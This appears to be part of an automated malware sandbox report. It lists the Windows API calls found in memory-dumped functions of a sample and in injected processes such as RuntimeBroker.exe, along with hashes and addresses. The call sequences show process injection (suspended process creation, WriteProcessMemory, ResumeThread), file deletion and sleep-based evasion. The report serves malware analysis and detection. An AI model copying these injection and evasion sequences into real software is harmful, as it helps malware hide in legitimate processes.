API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 02247e30dbf509db19e564959b2d0d53da4b464b58ceeb9d9e50b48634e6cc8b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: E7517031644354AFEF239F20CC85F9A77B8AF14B44F040199BA49FE0D6DBB0DA94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3F0D Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D
Sleep.KERNELBASE(000003E8,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F4B
Sleep.KERNEL32(000007D0), ref: 001C3F5B
Sleep.KERNEL32(00000BB8), ref: 001C3F6B

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 634a74a46434a642e0226302b98b7da89e65e1ed753664d014aab6768df5a327
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: EFF05E60988244A6EF413BB0884AF4D36B45F31705F04889CBA59E90D2CF30C6508E72

Uniqueness

Uniqueness Score: -1.00%

Function 001C1345 Relevance: 4.6, APIs: 3, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 001C1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 001C1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 001C13E5

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 24bdabae7abb68ff9a17f5ee70b33f63d9b304115b88680595e81b57cc4b6d8c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C921AE31944256AFDB11DE78C844B5DBBB5AF05310F054219F955BB5D5D730E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02243409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02243405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02243409

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: 5f3f8e9eaef86f97a9afefb94e7c3f463a3fda40d11c3e19baa803bc22c4bee9
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 45F0FE75500154DBEF02EF64C485A9A77F8AF44344F4504C8AA4DBF206CA709555CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02242951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02242949,00000008,?,00000000,02242835,00000000), ref: 02242956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02242993
lstrcat.KERNEL32(00000000,022429C1), ref: 022429D0
lstrcat.KERNEL32(00000000,022429F8), ref: 02242A07
lstrcat.KERNEL32(00000000,02242A2F), ref: 02242A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02242B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02242B66

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 702ab94aa2107b7d8bbc356e04f12854a57921480221bcbfcca8de3264b3a6a9
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: A5517371410314DEDB2AAFB18D48FAB77BDEF40704F4405A6BE85EA059DF349680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C292D Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(001C2925,00000008,?,00000000,001C2811,00000000), ref: 001C2932
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 001C296F
lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC
lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 5e20f8d1fd77fe1a3bbaf27d3d0f84e3a94bc46b39ba8ee9e7a75b819cd3b3af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 55513471500264AFDB227B608D49FAB77BCEF60705F0444AEFA45EB056DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 022409FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,022409F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02240A04
GetThreadContext.KERNEL32(?,00000000), ref: 02240A2C
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 02240A57
DuplicateHandle.KERNEL32(000000FF,000000FF,?,02245834,00000000,00000000,00000002), ref: 02240A9C
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 02240ACA
ResumeThread.KERNEL32(?), ref: 02240ADA
Sleep.KERNEL32(000003E8), ref: 02240AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02240B01

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: 46eae0712bd63b703eaec20d4efdb4f34141fb0c34a24f6cfc54088de504fbd0
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: CB3143316502159FEF2B5F50CC85BA977B8AF04788F0405D4AA49FE0E9DBB09A90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 001C09D9 Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
ResumeThread.KERNEL32(?), ref: 001C0AB6
Sleep.KERNEL32(000003E8), ref: 001C0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d08d0b8b2051c34f5721e4dda066ff8a6639c36971b334a2f4be7756b07d5326
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: F0312F31640215AFEF239F14CC85FAA77B8AF14744F080199AA49FE0E5DBB0DA90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 022429CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022429C1), ref: 022429D0

Part of subcall function 02242A01: lstrcat.KERNEL32(00000000,022429F8), ref: 02242A07
Part of subcall function 02242A01: lstrcat.KERNEL32(00000000,02242A2F), ref: 02242A3E
Part of subcall function 02242A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AB8
Part of subcall function 02242A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02242B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02242B66

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c44fa0cd3f79ace4e58c5937ddb4e13988b62357f03d43d7a107e99f8183ce9a
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: BB413371410724DEDB2AAFB18D48FAB77BDEF40704F404696BE85EA059DE349680CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC

Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c636e14730fe7c8789ea0b8b2e66408bc148dc9e268f550b67392472ade30f33
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 9441F1715002289FDB22BB618D49FAB77BCEF60705F0444AAEA45E7055DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02242A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,022429F8), ref: 02242A07

Part of subcall function 02242A38: lstrcat.KERNEL32(00000000,02242A2F), ref: 02242A3E
Part of subcall function 02242A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AB8
Part of subcall function 02242A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AFC
Part of subcall function 02242A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02242B52
Part of subcall function 02242A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02242B66

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 5834a97c4d0ba8d0ad55c70fbb87292d868b41f2cccd0a86f4b2a0fb47d03001
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: FD411571410724DEDB2AAFB18D48FAB76BDEF40709F404596BE85EA058DE349680CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3

Part of subcall function 001C2A14: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Part of subcall function 001C2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: d6b160bcfa924dc1f1ce780805323c99afb8a852cbc58ab7edcbb3794eecdb08
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 8D4130B15002289FDB22BB618D49FAF76BCEF60705F0444AEEA45E7041DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02242A38 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,02242A2F), ref: 02242A3E

Part of subcall function 02242B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02242C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02242AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02242B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02242B66

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 0b46adcf9dd6eef3742890153e45ac67fbb56de4fc34788b87d218e44658c78d
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: A5311271510668DEDB2A6FB18D48FAB76BCEF40709F4046A5BE85EA058DF349580CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C2A14 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A

Part of subcall function 001C2B4D: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 001C2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 49968fa7a4b5d5aca4da9ad6627b8677a1410d3c3c0f57381d6fd9009df4eb89
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B9313EB15002699FDB227B618C48FAF76FCEF60705F0044AEEA45E7045DB34DA80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 022431EA Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0224320E
GetStartupInfoA.KERNEL32(00000000), ref: 0224324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,022431D9,00000011,?,00000000,00000000), ref: 02243279
CloseHandle.KERNEL32(?,?,022431D9,00000011,?,00000000,00000000,00000000,02243092,00000004,00000000), ref: 02243285
CloseHandle.KERNEL32(?,?,022431D9,00000011,?,00000000,00000000,00000000,02243092,00000004,00000000), ref: 02243291

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: dba31129b1e20a9a0824a8bad7ff0fe67c21494d06b0bfffd090dd9dd11d6304
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 231112724106189FDF16ABA0CC48AAEB7BDEF40305F414595A985EA009DE705A80CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 001C31EA
GetStartupInfoA.KERNEL32(00000000), ref: 001C3228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,001C31B5,00000011,?,00000000,00000000), ref: 001C3255
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C3261
CloseHandle.KERNEL32(?,?,001C31B5,00000011,?,00000000,00000000,00000000,001C306E,00000004,00000000), ref: 001C326D

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 1a8fcc1b29af6dc6d508c4043910ddb7290efc2c1b1de9f1c1491fbd14d99cd8
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: 871121B2504958AFDF12AF60CC45FAF77BCEF60305F0145A9E986EA005DB349A90CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C0B65 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(001C0B57,0000000E), ref: 001C0B6A
GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 001C0B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 001C0B84
ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 001C0BA6

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Process$Window$ExitFindOpenThread
String ID:
API String ID: 273847653-0
Opcode ID: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction ID: a9338b71442d5d3ebf48e46985c07ff31f3dafee2d3b1c7779650113a65b08a8
Opcode Fuzzy Hash: 34cd6c9929bffda1e26e0ee6370170bb4b231b10a00d7b4531b927594a56342a
Instruction Fuzzy Hash: CE11EF25204301AEEF136BB08D56F663F28AF36B00F0A419DF8449E0A3DB20C9429A38

Uniqueness

Uniqueness Score: -1.00%

Function 02243F31 Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02243F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02243F51
Sleep.KERNEL32(000003E8,00000000,?,02243F27,0000000A,E8FFFF1B,00000000,0000000A), ref: 02243F6F
Sleep.KERNEL32(000007D0), ref: 02243F7F
Sleep.KERNEL32(00000BB8), ref: 02243F8F

Memory Dump Source

Source File: 0000000C.00000002.1890143342.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction ID: 54428cb05abc3182e8d436c58939e8dd3b2f2a4c1ed812aba08b0d4b2c60d910
Opcode Fuzzy Hash: e04edd3b56a3ae2e38138ccc1fa4ca0e34bf568aa8a0740690bb103294f382c8
Instruction Fuzzy Hash: E3F01CB05683509AFB48BFF08C4CA4E3AB9AF00704F1501D0AA89AD09EDF7490508E75

Uniqueness

Uniqueness Score: -1.00%

Function 001C3EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(001C3EBD,00000006,E8FFFE1B,00000000), ref: 001C3EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D

Strings

j, xrefs: 001C3EFC

Memory Dump Source

Source File: 0000000C.00000002.1888751495.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: j
API String ID: 4133054770-2747090070
Opcode ID: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction ID: c4430a2c0c24a2b0bdc06aa21888522cca28319f24652424d60ea3f5ea681fdb
Opcode Fuzzy Hash: 99f70bd6b06b53a7fd6d28a083be50230d299d6762310f15b5c168a6665c2821
Instruction Fuzzy Hash: BEF0C871948250AEEB127A708855FAE32BCAF70701F00C45DBA95DA041DF30C740DAB7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 5092, Parent PID: 6384COMMON

Executed Functions

Function 00AB0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00AB092A
RtlExitUserThread.NTDLL ref: 00AB0933

Memory Dump Source

Source File: 00000011.00000002.2966196276.0000000000AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ab0000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: a746e57cf6378d43ca32d6e26f47fe512de4d0868098c976c8f9b264cff3b5ab
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 0B31C8724102046FEB017FB09E46EFB3BACEF11310F440165BD85DA0A7EA744A658AB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: smartscreen.exePID: 5584, Parent PID: 6384COMMON

Executed Functions

Function 00291D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00291D99
